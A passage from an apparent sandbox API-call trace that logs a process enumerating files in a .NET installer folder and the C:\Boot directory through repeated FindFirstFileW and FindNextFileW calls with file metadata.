ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0101.454] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0101.454] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0101.454] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0101.454] FindClose (in: hFindFile=0x4290400 | out: hFindFile=0x4290400) returned 1 [0101.458] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.458] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0101.459] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0101.459] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0101.459] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0101.459] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0101.459] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0101.459] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0101.473] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0101.473] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0101.473] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0101.473] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0101.474] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0101.474] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0101.474] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0101.474] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0101.474] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0101.474] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0101.474] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0101.474] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0101.475] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0101.475] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0101.475] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0101.475] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0101.475] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0101.475] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0101.481] FindClose (in: hFindFile=0x4290300 | out: hFindFile=0x4290300) returned 1 [0101.481] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4291058 | out: hHeap=0x5c0000) returned 1 [0101.481] FindNextFileW (in: hFindFile=0x4290240, lpFindFileData=0x38ffcf8 | out: lpFindFileData=0x38ffcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0101.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4291058 [0101.481] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4290580 [0101.486] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0101.486] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0101.486] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0101.486] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0101.486] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0101.487] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0101.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.487] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290440 [0101.487] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.487] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0101.487] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0101.487] FindClose (in: hFindFile=0x4290440 | out: hFindFile=0x4290440) returned 1 [0101.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.487] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0101.487] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0101.487] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0101.488] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, 